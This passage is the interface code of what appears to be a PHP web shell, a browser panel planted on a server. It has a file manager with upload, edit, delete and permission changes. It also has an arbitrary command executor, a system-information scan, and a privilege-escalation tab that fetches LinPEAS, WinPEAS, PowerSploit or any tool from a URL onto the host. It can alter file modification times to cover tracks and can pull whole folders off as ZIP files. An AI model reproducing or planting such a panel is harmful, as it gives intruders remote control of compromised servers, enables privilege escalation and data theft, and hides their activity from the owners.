fa-arrow-up"></i></button> <button @click="refresh()" class="bg-gray-700 hover:bg-gray-600 text-white px-3 py-2 rounded"><i class="fas fa-rotate"></i></button> <form @submit.prevent="uploadFile" class="inline-block"><input type="file" x-ref="upload" class="hidden" @change="uploadFile"><button type="button" @click="$refs.upload.click()" class="bg-blue-600 hover:bg-blue-700 text-white px-3 py-2 rounded"><i class="fas fa-upload"></i> Upload</button></form> <button @click="showCreate('dir')" class="bg-green-600 hover:bg-green-700 text-white px-3 py-2 rounded"><i class="fas fa-folder-plus"></i> New Dir</button> <button @click="showCreate('file')" class="bg-yellow-600 hover:bg-yellow-700 text-white px-3 py-2 rounded"><i class="fas fa-file-circle-plus"></i> New File</button> </div> <div class="bg-gray-700 p-2 rounded-md mb-4 text-gray-400 text-sm break-all flex items-center justify-between"> <div class="truncate pr-2"><i class="fas fa-folder-open mr-2"></i><span x-text="currentPath"></span></div> </div> <div class="overflow-auto flex-grow"> <table class="table-auto w-full text-left text-sm"> <thead class="bg-gray-800 text-gray-400 uppercase text-xs sticky top-0"><tr><th class="p-3">Name</th><th class="p-3">Size</th><th class="p-3">Perms</th><th class="p-3">Modified</th><th class="p-3 text-right">Actions</th></tr></thead> <tbody><template x-for="file in files" :key="file.path"><tr class="border-b border-gray-700 hover:bg-gray-600/50"><td class="p-2 truncate"><a href="#" @click.prevent="navigate(file)" class="flex items-center" :title="file.path"><i class="mr-3 fa-lg" :class="file.type==='dir'?'fa-solid fa-folder text-yellow-400':'fa-solid fa-file-lines text-gray-400'"></i><span x-text="file.name"></span></a></td><td class="p-2" x-text="file.size"></td><td class="p-2 font-mono"> <span @click="editPerms(file)" class="cursor-pointer hover:underline" :title="'Change permissions for ' + file.name" :style="file._editingPerms ? 'opacity:0.5;' : ''" x-text="file.perms"></span> <form x-show="file._editingPerms" @submit.prevent="savePerms(file)" class="inline-flex items-center gap-1 ml-2 align-middle"> <input type="text" x-model="file._newPerms" maxlength="4" size="4" class="w-14 p-1 bg-gray-700 border border-gray-500 rounded text-white font-mono text-xs" @keydown.enter.stop.prevent="savePerms(file)" @keydown.esc="file._editingPerms=false"> <button type="submit" class="text-green-400 hover:text-green-300"><i class="fas fa-check"></i></button> <button type="button" @click="file._editingPerms=false" class="text-red-400 hover:text-red-300"><i class="fas fa-times"></i></button> </form> </td><td class="p-2"> <span @click="editMtime(file)" class="cursor-pointer hover:underline" :title="'Change modification time for ' + file.name" :style="file._editingMtime ? 'opacity:0.5;' : ''" x-text="file.mtime"></span> <form x-show="file._editingMtime" @submit.prevent="saveMtime(file)" class="inline-flex items-center gap-1 ml-2 align-middle"> <input type="datetime-local" x-model="file._newMtime" class="w-48 p-1 bg-gray-700 border border-gray-500 rounded text-white text-xs" @keydown.enter.stop.prevent="saveMtime(file)" @keydown.esc="file._editingMtime=false"> <button type="submit" class="text-green-400 hover:text-green-300"><i class="fas fa-check"></i></button> <button type="button" @click="file._editingMtime=false" class="text-red-400 hover:text-red-300"><i class="fas fa-times"></i></button> </form> </td><td class="p-2 text-right space-x-3 text-base"> <a x-show="file.type==='file'" :href="downloadUrlFor(file)" class="text-yellow-400 hover:text-yellow-300" title="Download File"><i class="fas fa-download"></i></a> <a x-show="file.type==='dir'" :href="downloadFolderUrlFor(file)" class="text-yellow-400 hover:text-yellow-300" title="Download Folder as ZIP"><i class="fas fa-file-archive"></i></a> <button x-show="file.type==='file'" @click="editFile(file)" class="text-blue-400 hover:text-blue-300" title="Edit"><i class="fas fa-edit"></i></button> <button @click="showRename(file)" class="text-green-400 hover:text-green-300" title="Rename"><i class="fas fa-i-cursor"></i></button> <button x-show="file.name !=='..'" @click="deleteFile(file)" class="text-red-500 hover:text-red-400" title="Delete"><i class="fas fa-trash"></i></button> </td></tr></template></tbody> </table> </div> </div> <div x-show="activeTab === 'sysinfo'" class="overflow-auto flex-grow"> <button x-show="!systemInfo" @click="getSystemInfo()" class="w-full bg-blue-600 hover:bg-blue-700 text-white font-bold p-4 rounded-lg text-lg">Scan System Information</button> <div x-show="systemInfo" class="space-y-4"> <template x-for="(value, key) in systemInfo" :key="key"> <div class="bg-gray-700 rounded-lg p-4"> <h3 class="font-bold text-lg text-white mb-2" x-text="key"></h3> <pre class="bg-black text-xs p-3 rounded-md overflow-auto max-h-64" x-text="value"></pre> </div> </template> </div> </div> <div x-show="activeTab === 'privesc'" class="overflow-auto flex-grow"> <div class="grid grid-cols-1 md:grid-cols-2 gap-4"> <div class="bg-gray-700 rounded-lg p-4 flex flex-col items-center text-center"><h3 class="font-bold text-white">LinPEAS</h3><p class="text-xs text-gray-400 mb-3 flex-grow">Linux Privilege Escalation Awesome Script</p><button @click="downloadTool('linpeas')" class="w-full bg-yellow-500 hover:bg-yellow-600 text-black font-bold py-2 rounded">Download</button></div> <div class="bg-gray-700 rounded-lg p-4 flex flex-col items-center text-center"><h3 class="font-bold text-white">WinPEAS</h3><p class="text-xs text-gray-400 mb-3 flex-grow">Windows Privilege Escalation Awesome Script</p><button @click="downloadTool('winpeas')" class="w-full bg-yellow-500 hover:bg-yellow-600 text-black font-bold py-2 rounded">Download</button></div> <div class="bg-gray-700 rounded-lg p-4 flex flex-col items-center text-center"><h3 class="font-bold text-white">PowerSploit</h3><p class="text-xs text-gray-400 mb-3 flex-grow">PowerUp.ps1 for PowerShell privesc</p><button @click="downloadTool('powersploit')" class="w-full bg-blue-500 hover:bg-blue-600 text-white font-bold py-2 rounded">Download</button></div> <div class="bg-gray-700 rounded-lg p-4"><h3 class="font-bold text-white text-center mb-2">Custom Tool</h3><p class="text-xs text-gray-400 mb-3 text-center">Download from any URL.</p><input type="text" x-model="customUrl" placeholder="https://example.com/tool.sh" class="w-full p-2 bg-gray-800 border border-gray-600 rounded text-white mb-3"><button @click="downloadTool('custom', customUrl)" class="w-full bg-gray-500 hover:bg-gray-600 text-white font-bold py-2 rounded">Download</button></div> </div> </div> <div x-show="isEditing" @keydown.window.escape="closeEditor" class="fixed inset-0 bg-black/70 flex items-center justify-center p-4 z-50"> <div class="bg-gray-900 rounded-lg shadow-xl w-full h-full max-w-6xl flex flex-col" @click.outside="closeEditor"> <header class="bg-gray-900 p-3 flex justify-between items-center rounded-t-lg border-b border-gray-700"> <h3 class="font-bold text-white truncate" x-text="`Editing: ${editingFile.path}`"></h3> <div> <button @click="saveFile" class="bg-blue-600 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded-lg mr-2">Save</button> <button @click="closeEditor" class="bg-gray-600 hover:bg-gray-700 text-white font-bold py-2 px-4 rounded-lg">Cancel</button> </div> </header> <main class="p-2 flex-grow overflow-hidden"> <div class="editor-container"> <textarea id="editor" class="editor-textarea"></textarea> </div> </main> </div> </div> <div x-show="showingCreate" class="fixed inset-0 bg-black/70 flex items-center justify-center p-4 z-50"> <div class="bg-gray-800 rounded-lg shadow-xl w-full max-w-md p-6" @click.outside="showingCreate=false"> <h3 class="font-bold text-white mb-4" x-text="createType==='dir'?'Create Directory':'Create File'"></h3> <input type="text" x-model="createName" class="w-full p-3 bg-gray-700 border border-gray-600 rounded-lg text-white mb-4" placeholder="Name..."> <div class="flex justify-end gap-2"><button @click="createItem" class="bg-green-600 hover:bg-green-700 text-white font-bold py-2 px-4 rounded-lg">Create</button><button @click="showingCreate=false" class="bg-gray-600 hover:bg-gray-700 text-white font-bold py-2 px-4 rounded-lg">Cancel</button></div> </div> </div> <div x-show="showingRename" class="fixed inset-0 bg-black/70 flex items-center justify-center p-4 z-50"> <div class="bg-gray-800 rounded-lg shadow-xl w-full max-w-md p-6" @click.outside="showingRename=false"> <h3 class="font-bold text-white mb-4">Rename</h3> <input type="text" x-model="renameName" class="w-full p-3 bg-gray-700 border border-gray-600 rounded-lg text-white mb-4" placeholder="New name..."> <div class="flex justify-end gap-2"><button @click="renameItem" class="bg-green-600 hover:bg-green-700 text-white font-bold py-2 px-4 rounded-lg">Rename</button><button @click="showingRename=false" class="bg-gray-600 hover:bg-gray-700 text-white font-bold py-2 px-4 rounded-lg">Cancel</button></div> </div> </div> </main> <aside class="flex flex-col gap-6 h-[85vh]"> <a href="?logout=true" class="flex items-center justify-center gap-2 mt-2 mb-6 bg-red-600 hover:bg-red-700 text-white font-bold text-base py-3 px-6 rounded-lg shadow-lg transition-all duration-200"> <i class="fas fa-sign-out-alt"></i> Logout </a> <div class="bg-gray-800 p-4 rounded-lg shadow-lg"> <h2 class="text-xl font-semibold text-white mb-4 text-center">Command Executor</h2> <div class="relative"> <input type="text" x-model="command" @keydown.enter="executeCommand" placeholder="Enter command..." class="w-full p-3 bg-gray-700 border border-gray-600 rounded-lg text-white focus:outline-none focus:ring-2 focus:ring-blue-500 pr-12"> <button @click="executeCommand" class="absolute right-2 top-2 bg-blue-600 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded-lg">Run</button> </div> </div> <div class="bg-gray-800 p-4 rounded-lg shadow-lg flex flex-col flex-grow min-h-0"> <h2 class="text-xl font-semibold text-white mb-4 flex justify-between"><span>Output</span><button @click="output=''" class="text-sm bg-yellow-500 hover:bg-yellow-600 text-black font-bold py-1 px-3 rounded-lg">Clear</button></h2> <pre class="bg-black text-xs p-4 rounded-md overflow-auto h-full" x-text="output"></pre> </div> </aside> </div> </div> <script> function fm() { return { activeTab: 'explorer', systemInfo: null, customUrl: '', downloadUrl: '', currentPath: '', files: [], isEditing: false, editingFile: {}, editor: null, showingCreate: false, createType: '', createName: '', showingRename: false, renameFile: {}, renameName: '', output: '', command: '', init() { this.getFiles('<?= addslashes(__DIR__) ?>'); }, async api(action, payload, isUpload = false) { try { let res; if (isUpload) { const form = new FormData(); form.append('file', payload.file); form.append('path', payload.path); res = await fetch('<?= htmlspecialchars($_SERVER['PHP_SELF']) ?>', { method: 'POST', body: form }); } else { res = await fetch('<?= htmlspecialchars($_SERVER['PHP_SELF']) ?>', { method: 'POST', headers: {'Content-Type':'application/json','X-Requested-With':'XMLHttpRequest'}, body: JSON.stringify({ action, payload }) }); } if (!res.ok) throw new Error('Network error.'); const result = await res.json(); if (result.status !== 'success') throw new Error(result.message); return result.data; } catch (e) { this.output = 'Error: ' + e.message; return null; } }, async getFiles(path) { this.output = 'Loading...'; const data = await this.api('list', { path }); if (data) { this.files = data.files; this.currentPath = data.current_path; this.output = `Listed contents of ${this.currentPath}`; } }, up() { if (!this.currentPath) return; const up = this.currentPath.replace(/\\|\//g, '/').split('/').slice(0, -1).join('/') || '/'; this.getFiles(up); }, refresh() { this.getFiles(this.currentPath); }, async navigate(file) { if (file.type === 'dir') return this.getFiles(file.path); // Show file content in output, not editor const content = await this.api('get', { path: file.path }); if (content !== null) { this.output = `--- ${file.name} ---\n` + content; } }, async editFile(file) { // Open file in editor const content = await this.api('get', { path: file.path }); if (content !== null) { this.editingFile = file; this.isEditing = true; this.$nextTick(() => { // Set textarea value before initializing CodeMirror const textarea = document.getElementById('editor'); textarea.value = content; const info = CodeMirror.findModeByExtension(file.name.split('.').pop()); this.editor = CodeMirror.fromTextArea(textarea, { lineNumbers: true, mode: info ? info.mode : 'text/plain', theme: 'default', lineWrapping: true, scrollbarStyle: 'native' }); // Refresh CodeMirror to ensure proper sizing setTimeout(() => { if (this.editor) { this.editor.refresh(); } }, 100); }); this.output = `Opened file: ${file.name}`; } }, async saveFile() { if (!this.editor) return; const content = this.editor.getValue(); const data = await this.api('save', { path: this.editingFile.path, content }); if (data) { this.output = 'File saved.'; this.closeEditor(); this.refresh(); } }, closeEditor() { if (this.editor) { this.editor.toTextArea(); this.editor = null; } this.isEditing = false; this.editingFile = {}; }, showCreate(type) { this.createType = type; this.createName = ''; this.showingCreate = true; }, async createItem() { if (!this.createName.trim()) return; const path = this.currentPath + '/' + this.createName; const data = await this.api(this.createType === 'dir' ? 'mkdir' : 'touch', { path }); if (data) { this.output = (this.createType === 'dir' ? 'Directory' : 'File') + ' created.'; this.showingCreate = false; this.refresh(); } }, async deleteFile(file) { if (!confirm(`Delete '${file.name}'?`)) return; const data = await this.api('delete', { path: file.path }); if (data) { this.output = 'Deleted: ' + file.name; this.refresh(); } }, showRename(file) { this.renameFile = file; this.renameName = file.name; this.showingRename = true; }, async renameItem() { if (!this.renameName.trim()) return; const to = this.currentPath + '/' + this.renameName; const data = await this.api('rename', { from: this.renameFile.path, to }); if (data) { this.output = 'Renamed.'; this.showingRename = false; this.refresh(); } }, async uploadFile(e) { const file = this.$refs.upload.files[0]; if (!file) return; const data = await this.api('upload', { file, path: this.currentPath }, true); if (data) { this.output = 'Uploaded: ' + file.name; this.refresh(); } }, async executeCommand() { if (!this.command.trim()) return; this.output = 'Executing...'; const data = await this.api('exec', { command: this.command, dir: this.currentPath }); if (data !== null) this.output = data; this.command = ''; }, async getSystemInfo() { this.systemInfo = {'Status': 'Scanning...'}; const data = await this.api('system_info'); if (data) this.systemInfo = data; }, async downloadTool(tool, url = '') { this.output = `Downloading ${tool}...`; const data = await this.api('download_tool', {tool, url}); if(data) {this.output = data; this.customUrl = '';} }, async downloadFromUrl() { if (!this.downloadUrl.trim()) return; this.output = 'Downloading from URL...'; const data = await this.api('download_url_to_dir', { url: this.downloadUrl, dir: this.currentPath }); if (data) this.output = data; this.downloadUrl = ''; }, editPerms(file) { this.files.forEach(f => { f._editingPerms = false; }); file._editingPerms = true; file._newPerms = file.perms.match(/[0-7]{3,4}/) ? file.perms.match(/[0-7]{3,4}/)[0] : ''; }, async savePerms(file) { const mode = file._newPerms; if (!/^[0-7]{3,4}$/.test(mode)) { this.output = 'Invalid permission format.'; return; } const data = await this.api('chmod_file', { path: file.path, mode }); if (data) { this.output = 'Permissions updated.'; file._editingPerms = false; this.refresh(); } }, editMtime(file) { this.files.forEach(f => { f._editingMtime = false; }); file._editingMtime = true; // Convert current mtime to datetime-local format const mtimeDate = new Date(file.mtime); const year = mtimeDate.getFullYear(); const month = String(mtimeDate.getMonth() + 1).padStart(2, '0'); const day = String(mtimeDate.getDate()).padStart(2, '0'); const hours = String(mtimeDate.getHours()).padStart(2, '0'); const minutes = String(mtimeDate.getMinutes()).padStart(2, '0'); file._newMtime = `${year}-${month}-${day}T${hours}:${minutes}`; }, async saveMtime(file) { const timestamp = file._newMtime; if (!timestamp) { this.output = 'Please enter a valid timestamp.'; return; } const data = await this.api('touch_file', { path: file.path, timestamp: timestamp }); if (data) { this.output = 'Modification time updated.'; file._editingMtime = false; this.refresh(); } }, downloadUrlFor(file) { // Use the full file path for download const url = new URL(window.location.href); url.search = ''; url.hash = ''; return url.pathname + '?download=' + encodeURIComponent(file.path); }, downloadFolderUrlFor(file) { // Use the folder name for download const url = new URL(window.location.href); url.search = ''; url.hash = ''; return url.pathname + '?download_folder=' + encodeURIComponent(file.name); } } } </script> </body> </html>